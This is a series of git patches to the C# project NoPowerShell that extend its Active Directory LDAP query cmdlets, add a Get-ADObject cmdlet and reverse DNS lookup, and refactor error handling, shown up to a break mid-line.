From 884d5264432ee11e3c7cd05e091838ec7f29d3de Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 8 Feb 2020 08:48:39 +0100 Subject: [PATCH 01/23] Update to ActiveDirectory cmdlets - Added Get-ADObject cmdlet - Added -Server and -SearchBase parameters to all ActiveDirectory cmdlets - Minor improvements --- .../ActiveDirectory/GetADComputerCommand.cs | 6 +- .../ActiveDirectory/GetADGroupCommand.cs | 6 +- .../GetADGroupMemberCommand.cs | 10 +- .../ActiveDirectory/GetADObjectCommand.cs | 91 +++++++++++++++++++ .../ActiveDirectory/GetADUserCommand.cs | 7 +- .../NetTCPIP/TestNetConnectionCommand.cs | 2 +- .../NoPowerShell/HelperClasses/LDAPHelper.cs | 69 ++++++++++++-- .../HelperClasses/ResultRecord.cs | 13 ++- Source/NoPowerShell/NoPowerShell.csproj | 1 + 9 files changed, 190 insertions(+), 15 deletions(-) create mode 100644 Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs index a986da1..ed766db 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs @@ -20,6 +20,8 @@ public GetADComputerCommand(string[] userArguments) : base(userArguments, Suppor public override CommandResult Execute(CommandResult pipeIn) { // Obtain cmdlet parameters + string server = _arguments.Get("Server").Value; + string searchBase = _arguments.Get("SearchBase").Value; string identity = _arguments.Get("Identity").Value; string ldapFilter = _arguments.Get("LDAPFilter").Value; string filter = _arguments.Get("Filter").Value; @@ -61,7 +63,7 @@ public override CommandResult Execute(CommandResult pipeIn) } // Query - _results = LDAPHelper.QueryLDAP(queryFilter, new List(properties.Split(','))); + _results = LDAPHelper.QueryLDAP(searchBase, queryFilter, new List(properties.Split(',')), server, username, password); return _results; } @@ -77,6 +79,8 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ArgumentList() { + new StringArgument("Server", true), + new StringArgument("SearchBase", true), new StringArgument("Identity"), new StringArgument("Filter", true), new StringArgument("LDAPFilter", true), diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs index 74516b7..2ced210 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs @@ -20,6 +20,8 @@ public GetADGroupCommand(string[] userArguments) : base(userArguments, Supported public override CommandResult Execute(CommandResult pipeIn) { // Obtain cmdlet parameters + string server = _arguments.Get("Server").Value; + string searchBase = _arguments.Get("SearchBase").Value; string identity = _arguments.Get("Identity").Value; string ldapFilter = _arguments.Get("LDAPFilter").Value; string filter = _arguments.Get("Filter").Value; @@ -63,7 +65,7 @@ public override CommandResult Execute(CommandResult pipeIn) } // Query - _results = LDAPHelper.QueryLDAP(queryFilter, new List(properties.Split(','))); + _results = LDAPHelper.QueryLDAP(searchBase, queryFilter, new List(properties.Split(',')), server, username, password); return _results; } @@ -79,6 +81,8 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ArgumentList() { + new StringArgument("Server", true), + new StringArgument("SearchBase", true), new StringArgument("Identity"), new StringArgument("Filter"), new StringArgument("LDAPFilter"), diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupMemberCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupMemberCommand.cs index bf88ddc..314b01c 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupMemberCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupMemberCommand.cs @@ -19,6 +19,7 @@ public GetADGroupMemberCommand(string[] userArguments) : base(userArguments, Sup public override CommandResult Execute(CommandResult pipeIn) { // Obtain cmdlet parameters + string server = _arguments.Get("Server").Value; string identity = _arguments.Get("Identity").Value; // Obtain distinguishedname for group @@ -29,8 +30,12 @@ public override CommandResult Execute(CommandResult pipeIn) string distinguishedName = dn[0]["distinguishedName"]; _results = LDAPHelper.QueryLDAP( + null, string.Format("(memberOf={0})", distinguishedName), - new List(1) { "distinguishedName", "name", "objectClass", "objectGUID", "SamAccountName", "SID" } + new List(1) { "distinguishedName", "name", "objectClass", "objectGUID", "SamAccountName", "SID" }, + server, + username, + password ); return _results; @@ -47,7 +52,8 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ArgumentList() { - new StringArgument("Identity"), + new StringArgument("Server", true), + new StringArgument("Identity") }; } } diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs new file mode 100644 index 0000000..8a81e65 --- /dev/null +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs @@ -0,0 +1,91 @@ +using NoPowerShell.Arguments; +using NoPowerShell.HelperClasses; +using System; +using System.Collections.Generic; +using System.DirectoryServices; + +/* +Author: @bitsadmin +Website: https://github.com/bitsadmin +License: BSD 3-Clause +*/ + +namespace NoPowerShell.Commands.ActiveDirectory +{ + public class GetADObjectCommand : PSCommand + { + public GetADObjectCommand(string[] userArguments) : base(userArguments, SupportedArguments) + { + } + + public override CommandResult Execute(CommandResult pipeIn) + { + // Obtain cmdlet parameters + string server = _arguments.Get("Server").Value; + string searchBase = _arguments.Get("SearchBase").Value; + string identity = _arguments.Get("Identity").Value; + string ldapFilter = _arguments.Get("LDAPFilter").Value; + List properties = new List(_arguments.Get("Properties").Value.Split(',')); + + // Input check + SearchScope scope; + if (string.IsNullOrEmpty(ldapFilter)) + { + // Neither LDAPFilter nor Identity specified + if (string.IsNullOrEmpty(identity)) + throw new InvalidOperationException("Either LDAPFilter or Identity parameter is required"); + // Identity is specified, so search on the base + else + { + searchBase = identity; + scope = SearchScope.Base; + } + } + // LDAPFilter is specified + else + scope = SearchScope.Subtree; + + // Query + _results = LDAPHelper.QueryLDAP(searchBase, scope, ldapFilter, properties, server, username, password); + + return _results; + } + + public static new CaseInsensitiveList Aliases + { + get { return new CaseInsensitiveList() { "Get-ADObject" }; } + } + + public static new ArgumentList SupportedArguments + { + get + { + return new ArgumentList() + { + new StringArgument("Server", true), + new StringArgument("SearchBase"), + new StringArgument("Identity"), + new StringArgument("LDAPFilter"), + new StringArgument("Properties", "DistinguishedName,Name,ObjectClass,ObjectGUID", true) + }; + } + } + + public static new string Synopsis + { + get { return "Gets one or more Active Directory objects."; } + } + + public static new ExampleEntries Examples + { + get + { + return new ExampleEntries() + { + new ExampleEntry("Get the sites from the configuration naming context", "Get-ADObject -LDAPFilter \"(objectClass=site)\" -SearchBase \"CN=Configuration,DC=MyDomain,DC=local\" -Properties whenCreated,cn"), + new ExampleEntry("Get specific object", "Get-ADObject -Identity \"CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local\" -Properties *"), + }; + } + } + } +} diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs index dcd32f1..7c9b3f8 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs @@ -20,6 +20,8 @@ public GetADUserCommand(string[] userArguments) : base(userArguments, SupportedA public override CommandResult Execute(CommandResult pipeIn) { // Obtain cmdlet parameters + string server = _arguments.Get("Server").Value; + string searchBase = _arguments.Get("SearchBase").Value; string identity = _arguments.Get("Identity").Value; string ldapFilter = _arguments.Get("LDAPFilter").Value; string filter = _arguments.Get("Filter").Value; @@ -61,7 +63,7 @@ public override CommandResult Execute(CommandResult pipeIn) } // Query - _results = LDAPHelper.QueryLDAP(queryFilter, new List(properties.Split(','))); + _results = LDAPHelper.QueryLDAP(searchBase, queryFilter, new List(properties.Split(',')), server, username, password); return _results; } @@ -77,6 +79,8 @@ public override CommandResult Execute(CommandResult pipeIn) { return new ArgumentList() { + new StringArgument("Server", true), + new StringArgument("SearchBase", true), new StringArgument("Identity"), new StringArgument("Filter", true), new StringArgument("LDAPFilter", true), @@ -100,6 +104,7 @@ public override CommandResult Execute(CommandResult pipeIn) new ExampleEntry("List all Administrative users in domain", "Get-ADUser -LDAPFilter \"(admincount=1)\""), new ExampleEntry("List all users in domain", "Get-ADUser -Filter *"), new ExampleEntry("List specific attributes of user", "Get-ADUser Administrator -Properties SamAccountName,ObjectSID"), + new ExampleEntry("List all users in a specific OU", "Get-ADUser -SearchBase \"CN=Users,DC=MyDomain,DC=local\" -Filter *") }; } } diff --git a/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs index c350471..0490c64 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs @@ -223,7 +223,7 @@ private static CommandResult PerformTraceroute(string ip, string computerName, i return new CaseInsensitiveList() { "Test-NetConnection", - "TNC", + "tnc", "ping" // Not official }; } diff --git a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs index 7efd6d3..576bb27 100644 --- a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs +++ b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs @@ -11,15 +11,46 @@ namespace NoPowerShell.HelperClasses class LDAPHelper { public static CommandResult QueryLDAP(string queryFilter, List properties) + { + return QueryLDAP(null, queryFilter, properties, null, null, null); + } + + public static CommandResult QueryLDAP(string searchBase, string queryFilter, List properties, string server, string username, string password) + { + return QueryLDAP(searchBase, SearchScope.Subtree, queryFilter, properties, server, username, password); + } + + public static CommandResult QueryLDAP(string searchBase, SearchScope scope, string queryFilter, List properties, string server, string username, string password) { CommandResult _results = new CommandResult(); - DirectoryEntry entry = new DirectoryEntry(); + // Select all properties if * parameter is provided + if (properties.Count > 0 && properties[0] == "*") + properties = new List(0); + + // Compile LDAP connection string + string ldap = "LDAP://"; + if(!string.IsNullOrEmpty(server)) + ldap += server + "/"; + if (!string.IsNullOrEmpty(searchBase)) + ldap += searchBase; + if (ldap == "LDAP://") + ldap = string.Empty; + + // Initialize LDAP + DirectoryEntry entry = new DirectoryEntry( + ldap, + username, + password + ); + + // Initialize searcher using (DirectorySearcher ds = new DirectorySearcher(entry)) { // Setup properties ds.PropertiesToLoad.Clear(); ds.PropertiesToLoad.AddRange(properties.ToArray()); + ds.SearchScope = scope; // Filter ds.Filter = queryFilter; @@ -27,13 +58,36 @@ public static CommandResult QueryLDAP(string queryFilter, List propertie // Perform query SearchResultCollection results = ds.FindAll(); + // Validate attributes + ResultRecord recordTemplate = null; + if (results.Count > 0) + { + SearchResult firstResult = results[0]; + + // Add all available properties to a case-insensitive list + CaseInsensitiveList ciProperties = new CaseInsensitiveList(); + foreach (DictionaryEntry prop in firstResult.Properties) + ciProperties.Add((string)prop.Key); + + // Validate if all properties are available + //foreach (string property in properties) + // if (!ciProperties.Contains(property)) + // throw new InvalidOperationException(string.Format("Column {0} not available in results", property)); + + // Create template + // This makes sure the order of columns is in the order the user specified + recordTemplate = new ResultRecord(properties.Count); + foreach(string property in properties) + recordTemplate.Add(property, null); + } + // Store results for (int i = 0; i < results.Count; i++) { SearchResult result = results[i]; // First records should have the same number of properties as any other record - ResultRecord foundUser = new ResultRecord(results[0].Properties.Count); + ResultRecord foundRecord = (ResultRecord)recordTemplate.Clone(); // new ResultRecord(results[0].Properties.Count); // Iterate over result properties foreach (DictionaryEntry property in result.Properties) @@ -46,17 +100,17 @@ public static CommandResult QueryLDAP(string queryFilter, List propertie { // The UserAccountControl bitmask contains a bit which states whether the account is enabled or not case "useraccountcontrol": - foundUser.Add("Enabled", IsActive(result).ToString()); + foundRecord["Enabled"] = IsActive(result).ToString(); continue; // Byte array needs to be converted to GUID case "objectguid": Guid g = new Guid((byte[])objArray[0]); - foundUser.Add(propertyKey, g.ToString()); + foundRecord[propertyKey] = g.ToString(); continue; // Byte array needs to be converted to SID case "objectsid": SecurityIdentifier sid = new SecurityIdentifier((byte[])objArray[0], 0); - foundUser.Add(propertyKey, sid.ToString()); + foundRecord[propertyKey] = sid.ToString(); continue; // This attribute is automatically added case "adspath": @@ -73,10 +127,11 @@ public static CommandResult QueryLDAP(string queryFilter, List propertie // Concatenate strings string strValue = string.Join(";", strArray); - foundUser.Add(property.Key.ToString(), strValue); + // Store result + foundRecord[property.Key.ToString()] = strValue; } - _results.Add(foundUser); + _results.Add(foundRecord); } } diff --git a/Source/NoPowerShell/HelperClasses/ResultRecord.cs b/Source/NoPowerShell/HelperClasses/ResultRecord.cs index 4a3687b..70daeab 100644 --- a/Source/NoPowerShell/HelperClasses/ResultRecord.cs +++ b/Source/NoPowerShell/HelperClasses/ResultRecord.cs @@ -9,14 +9,23 @@ namespace NoPowerShell.HelperClasses { - public class ResultRecord : Dictionary + public class ResultRecord : Dictionary, ICloneable { - public ResultRecord() : base() + public ResultRecord() : base(StringComparer.OrdinalIgnoreCase) { } public ResultRecord(int capacity) : base(capacity, StringComparer.InvariantCultureIgnoreCase) { } + + public ResultRecord(Dictionary dictionary) : base(dictionary, StringComparer.InvariantCultureIgnoreCase) + { + } + + public object Clone() + { + return new ResultRecord(this); + } } } diff --git a/Source/NoPowerShell/NoPowerShell.csproj b/Source/NoPowerShell/NoPowerShell.csproj index 0766af5..2532b59 100644 --- a/Source/NoPowerShell/NoPowerShell.csproj +++ b/Source/NoPowerShell/NoPowerShell.csproj @@ -90,6 +90,7 @@ + From 588923901dc9177f3f09a8f2d74d3cda7394af4c Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 8 Feb 2020 10:27:23 +0100 Subject: [PATCH 02/23] Minor improvements to Get-ADUser/LDAPHelper - Moved IsActive logic to Get-ADUser cmdlet - Added date support to LDAPHelper - Configured solution to build project --- Source/NoPowerShell.sln | 4 ++++ .../ActiveDirectory/GetADUserCommand.cs | 16 +++++++++++++-- .../NoPowerShell/HelperClasses/LDAPHelper.cs | 20 +++++++++++-------- 3 files changed, 30 insertions(+), 10 deletions(-) diff --git a/Source/NoPowerShell.sln b/Source/NoPowerShell.sln index ddb25af..e58a4d3 100644 --- a/Source/NoPowerShell.sln +++ b/Source/NoPowerShell.sln @@ -22,21 +22,25 @@ Global EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug DLL|Any CPU.ActiveCfg = Debug DLL|x86 + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug DLL|Any CPU.Build.0 = Debug DLL|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug DLL|x64.ActiveCfg = Debug DLL|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug DLL|x64.Build.0 = Debug DLL|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug DLL|x86.ActiveCfg = Debug DLL|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug DLL|x86.Build.0 = Debug DLL|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|Any CPU.ActiveCfg = Debug|x86 + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|Any CPU.Build.0 = Debug|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|x64.ActiveCfg = Debug|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|x64.Build.0 = Debug|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|x86.ActiveCfg = Debug|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Debug|x86.Build.0 = Debug|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release DLL|Any CPU.ActiveCfg = Release DLL|x86 + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release DLL|Any CPU.Build.0 = Release DLL|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release DLL|x64.ActiveCfg = Release DLL|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release DLL|x64.Build.0 = Release DLL|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release DLL|x86.ActiveCfg = Release DLL|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release DLL|x86.Build.0 = Release DLL|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|Any CPU.ActiveCfg = Release|x86 + {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|Any CPU.Build.0 = Release|x86 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|x64.ActiveCfg = Release|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|x64.Build.0 = Release|x64 {555AD0AC-1FDB-4016-8257-170A74CB2F55}.Release|x86.ActiveCfg = Release|x86 diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs index 7c9b3f8..b5603b6 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs @@ -25,7 +25,7 @@ public override CommandResult Execute(CommandResult pipeIn) string identity = _arguments.Get("Identity").Value; string ldapFilter = _arguments.Get("LDAPFilter").Value; string filter = _arguments.Get("Filter").Value; - string properties = _arguments.Get("Properties").Value; + CaseInsensitiveList properties = new CaseInsensitiveList(_arguments.Get("Properties").Value.Split(',')); // Determine filters bool filledIdentity = !string.IsNullOrEmpty(identity); @@ -63,7 +63,19 @@ public override CommandResult Execute(CommandResult pipeIn) } // Query - _results = LDAPHelper.QueryLDAP(searchBase, queryFilter, new List(properties.Split(',')), server, username, password); + _results = LDAPHelper.QueryLDAP(searchBase, queryFilter, properties, server, username, password); + + // Translate UserAccountControl AD field into whether the account is enabled + if (_results.Count > 0 && _results[0].ContainsKey("useraccountcontrol")) + { + foreach (ResultRecord r in _results) + { + string uac = r["useraccountcontrol"]; + bool active = LDAPHelper.IsActive(uac); + r["Enabled"] = active.ToString(); + //r.Remove("useraccountcontrol"); + } + } return _results; } diff --git a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs index 576bb27..04396f8 100644 --- a/Source/NoPowerShell/HelperClasses/LDAPHelper.cs +++ b/Source/NoPowerShell/HelperClasses/LDAPHelper.cs @@ -98,10 +98,6 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri // Fixups switch (propertyKey.ToLowerInvariant()) { - // The UserAccountControl bitmask contains a bit which states whether the account is enabled or not - case "useraccountcontrol": - foundRecord["Enabled"] = IsActive(result).ToString(); - continue; // Byte array needs to be converted to GUID case "objectguid": Guid g = new Guid((byte[])objArray[0]); @@ -112,6 +108,14 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri SecurityIdentifier sid = new SecurityIdentifier((byte[])objArray[0], 0); foundRecord[propertyKey] = sid.ToString(); continue; + // Date fields + case "lastlogon": + case "lastlogontimestamp": + case "badpasswordtime": + case "pwdlastset": + DateTime lastlogon = DateTime.FromFileTime((long)objArray[0]); + foundRecord[propertyKey] = lastlogon.ToString(); + continue; // This attribute is automatically added case "adspath": if (!properties.Contains(propertyKey)) @@ -138,12 +142,12 @@ public static CommandResult QueryLDAP(string searchBase, SearchScope scope, stri return _results; } - private static bool IsActive(SearchResult de) + public static bool IsActive(string bits) { - if (de.Properties["ObjectGUID"] == null) - return false; + if (string.IsNullOrEmpty(bits)) + return true; - int flags = Convert.ToInt32(de.Properties["userAccountControl"][0]); + int flags = Convert.ToInt32(bits); return !Convert.ToBoolean(flags & 0x0002); } From 4e771fee98fa661c80fbc2fc18f8e4a205fcd777 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sat, 8 Feb 2020 14:03:16 +0100 Subject: [PATCH 03/23] Improved Resolve-DnsName and Test-NetConnection cmdlets - Support for Resolve-DnsName to perform a reverse IP(v4/v6) lookup - Fix for Test-NetConnection to not resolve when IP address is provided --- .../DnsClient/ResolveDnsNameCommand.cs | 31 ++++++++++++++++++- .../NetTCPIP/TestNetConnectionCommand.cs | 6 ++++ 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs b/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs index 27d1ea8..4643cdf 100644 --- a/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs +++ b/Source/NoPowerShell/Commands/DnsClient/ResolveDnsNameCommand.cs @@ -6,6 +6,7 @@ using System.Collections.Generic; using System.ComponentModel; using System.Runtime.InteropServices; +using System.Text; /* Author: @bitsadmin @@ -98,7 +99,8 @@ public override CommandResult Execute(CommandResult pipeIn) "host linux.org", "Resolve-DnsName -Type MX pm.me" } - ) + ), + new ExampleEntry("Reverse DNS lookup", "Resolve-DnsName 1.1.1.1") }; } } @@ -143,6 +145,33 @@ public static CommandResult GetRecords(string domain, string type) throw new NotSupportedException(); } + // Identify if IP address has been entered + // In that case, perform a reverse lookup + if (IPAddress.TryParse(domain, out IPAddress ip)) + { + type = "PTR"; + + // IPv6 + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetworkV6) + { + // ipv6.google.com = 2a00:1450:400e:80e::200e -> e.0.0.2.0.0.0.0.0.0.0.0.0.0.0.0.e.0.8.0.e.0.0.4.0.5.4.1.0.0.a.2.ip6.arpa + byte[] ipv6_bytes = ip.GetAddressBytes(); + StringBuilder sb = new StringBuilder(72); + for (int i = ipv6_bytes.Length - 1; i >= 0; i--) + { + byte currentByte = ipv6_bytes[i]; + byte lo = (byte)(currentByte & 0x0F); + byte hi = (byte)(currentByte >> 4); + sb.AppendFormat("{0:x}.{1:x}.", lo, hi); + } + sb.Append("ip6.arpa"); + domain = sb.ToString(); + } + // IPv4 + else + domain = string.Format("{0}.in-addr.arpa", ip); + } + CommandResult results = new CommandResult(); object foundType = RecordTypes[type]; if (foundType == null) diff --git a/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs b/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs index 0490c64..92a24f3 100644 --- a/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs +++ b/Source/NoPowerShell/Commands/NetTCPIP/TestNetConnectionCommand.cs @@ -59,6 +59,12 @@ public override CommandResult Execute(CommandResult pipeIn) private static string ResolveIP(string computerName) { + // If IP is already provided, not required to resolve + IPAddress ip_addr; + if (IPAddress.TryParse(computerName, out ip_addr)) + return ip_addr.ToString(); + + // In case it is a hostname, resolve it IPHostEntry ip = null; try { From c02c3b6357a634e2b4501881bde535ba74a18722 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sun, 9 Feb 2020 19:57:47 +0100 Subject: [PATCH 04/23] Additional example for Get-ADObject --- .../NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs index 8a81e65..c7acabe 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs @@ -84,6 +84,7 @@ public override CommandResult Execute(CommandResult pipeIn) { new ExampleEntry("Get the sites from the configuration naming context", "Get-ADObject -LDAPFilter \"(objectClass=site)\" -SearchBase \"CN=Configuration,DC=MyDomain,DC=local\" -Properties whenCreated,cn"), new ExampleEntry("Get specific object", "Get-ADObject -Identity \"CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=MyDomain,DC=local\" -Properties *"), + new ExampleEntry("List all global groups", "Get-ADObject –LDAPFilter \"(GroupType:1.2.840.113556.1.4.803:=2)\" –SearchBase \"DC=MyDomain,DC=local\"") }; } } From f7957ced753261e02ddf52532b2c46a3bf3266f4 Mon Sep 17 00:00:00 2001 From: bitsadmin Date: Sun, 9 Feb 2020 20:02:12 +0100 Subject: [PATCH 05/23] Replaced InvalidOperationException with NoPowerShellException --- .../Commands/ActiveDirectory/GetADComputerCommand.cs | 6 +++--- .../Commands/ActiveDirectory/GetADGroupCommand.cs | 6 +++--- .../Commands/ActiveDirectory/GetADObjectCommand.cs | 2 +- .../Commands/ActiveDirectory/GetADUserCommand.cs | 6 +++--- Source/NoPowerShell/Commands/Core/GetHelpCommand.cs | 2 +- .../Commands/LocalAccounts/GetLocalGroupMemberCommand.cs | 2 +- .../Commands/Management/GetItemPropertyCommand.cs | 2 +- Source/NoPowerShell/HelperClasses/LDAPHelper.cs | 2 +- Source/NoPowerShell/HelperClasses/WmiHelper.cs | 2 +- 9 files changed, 15 insertions(+), 15 deletions(-) diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs index ed766db..5cb805b 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADComputerCommand.cs @@ -34,9 +34,9 @@ public override CommandResult Execute(CommandResult pipeIn) // Input checks if (filledIdentity && filledLdapFilter) - throw new InvalidOperationException("Specify either Identity or LDAPFilter, not both"); + throw new NoPowerShellException("Specify either Identity or LDAPFilter, not both"); if (!filledIdentity && !filledLdapFilter && !filledFilter) - throw new InvalidOperationException("Specify either Identity, Filter or LDAPFilter"); + throw new NoPowerShellException("Specify either Identity, Filter or LDAPFilter"); // Build filter string filterBase = "(&(objectCategory=computer){0})"; @@ -57,7 +57,7 @@ public override CommandResult Execute(CommandResult pipeIn) { // TODO: allow more types of filters if (filter != "*") - throw new InvalidOperationException("Currently only * filter is supported"); + throw new NoPowerShellException("Currently only * filter is supported"); queryFilter = string.Format(filterBase, string.Empty); } diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs index 2ced210..9156e5f 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADGroupCommand.cs @@ -34,9 +34,9 @@ public override CommandResult Execute(CommandResult pipeIn) // Input checks if (filledIdentity && filledLdapFilter) - throw new InvalidOperationException("Specify either Identity or LDAPFilter, not both"); + throw new NoPowerShellException("Specify either Identity or LDAPFilter, not both"); if (!filledIdentity && !filledLdapFilter && !filledFilter) - throw new InvalidOperationException("Specify either Identity, Filter or LDAPFilter"); + throw new NoPowerShellException("Specify either Identity, Filter or LDAPFilter"); // Build filter string filterBase = "(&(objectCategory=group){0})"; @@ -59,7 +59,7 @@ public override CommandResult Execute(CommandResult pipeIn) { // TODO: allow more types of filters if (filter != "*") - throw new InvalidOperationException("Currently only * filter is supported"); + throw new NoPowerShellException("Currently only * filter is supported"); queryFilter = string.Format(filterBase, string.Empty); } diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs index c7acabe..432bffd 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADObjectCommand.cs @@ -33,7 +33,7 @@ public override CommandResult Execute(CommandResult pipeIn) { // Neither LDAPFilter nor Identity specified if (string.IsNullOrEmpty(identity)) - throw new InvalidOperationException("Either LDAPFilter or Identity parameter is required"); + throw new NoPowerShellException("Either LDAPFilter or Identity parameter is required"); // Identity is specified, so search on the base else { diff --git a/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs b/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs index b5603b6..cd42914 100644 --- a/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs +++ b/Source/NoPowerShell/Commands/ActiveDirectory/GetADUserCommand.cs @@ -34,9 +34,9 @@ public override CommandResult Execute(CommandResult pipeIn) // Input checks if (filledIdentity && filledLdapFilter) - throw new InvalidOperationException("Specify either Identity or LDAPFilter, not both"); + throw new NoPowerShellException("Specify either Identity or LDAPFilter, not both"); if (!filledIdentity && !filledLdapFilter && !filledFilter) - throw new InvalidOperationException("Specify either Identity, Filter or LDAPFilter"); + throw new NoPowerShellException("Specify either Identity, Filter or LDAPFilter"); // Build filter string filterBase = "(&(objectCategory=user){0})"; @@ -57,7 +57,7 @@ public override CommandResult Execute(CommandResult pipeIn) { // TODO: allow more types of filters if (filter != "*") - throw new InvalidOperationException("Currently only * filter is supported"); + throw new NoPowerShellException("Currently only * filter is supported"); queryFilter = string.Format(filterBase, string.Empty); } diff --git a/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs b/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs index b7a2ff5..0c3493b 100644 --- a/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs +++ b/Source/NoPowerShell/Commands/Core/GetHelpCommand.cs @@ -43,7 +43,7 @@ public override CommandResult Execute(CommandResult pipeIn) } if (!found) - throw new InvalidOperationException(string.Format("Command {0} not found", name)); + throw new NoPowerShellException(string.Format("Command {0} not found", name)); } // Collect information diff --git 